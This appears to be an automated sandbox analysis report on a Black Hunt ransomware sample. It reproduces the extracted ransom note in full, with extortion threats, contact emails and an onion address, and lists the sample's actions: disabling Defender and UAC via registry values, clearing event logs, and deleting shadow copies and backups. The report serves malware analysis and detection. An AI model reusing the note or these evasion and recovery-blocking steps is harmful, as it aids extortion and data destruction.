734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2

Analysis

max time kernel
127s
max time network
135s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:46

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General

Target

734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
Size

707KB
MD5

d38ae9ac535c3c0fd927bdad2a96cbe7
SHA1

f60c70f22097f00d078c98e6e3c935ebda9635fa
SHA256

734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2
SHA512

9355ad9196b1e2a90eefcf5fb5a0a45b21c10616eb919f1df29ab06fb7f35a84b81599df7d2130f1336cf18b990f6c17b06c4a89e8f81e502796ce3729dad6df
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1f81vnh:6uaTmkZJ+naie5OTamgEoKxLWWxh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> F5GCTVzH0ZNXgQR0 </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1264	fsutil.exe
1996	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2600	wevtutil.exe
1724	wevtutil.exe
1648	wevtutil.exe
2648	wevtutil.exe
2064	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2388	bcdedit.exe
996	bcdedit.exe
1324	bcdedit.exe
816	bcdedit.exe

Renames multiple (913) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1376	wbadmin.exe
2464	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
1520	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\W:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\S:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\G:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\H:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\N:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\B:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\O:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\X:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\A:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\K:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\Q:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\R:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\T:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\L:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\E:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\Y:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\I:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\Z:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\U:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\P:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\J:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\V:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened (read-only)	\??\M:	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\file_obj.gif	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\15x15dot.png	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\feature.properties	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\New_York	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\#BlackHunt_ReadMe.hta	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\#BlackHunt_ReadMe.hta	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMainMask.wmv	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\#BlackHunt_ReadMe.hta	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\#BlackHunt_ReadMe.txt	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+12	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Christmas	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\#BlackHunt_ReadMe.hta	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Brisbane	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-12	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\#BlackHunt_Private.key	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\#BlackHunt_ReadMe.txt	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_precomp_matte.wmv	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaBrightRegular.ttf	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\#BlackHunt_ReadMe.txt	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationUp_ButtonGraphic.png	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\#BlackHunt_ReadMe.hta	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Prague	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\#BlackHunt_Private.key	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
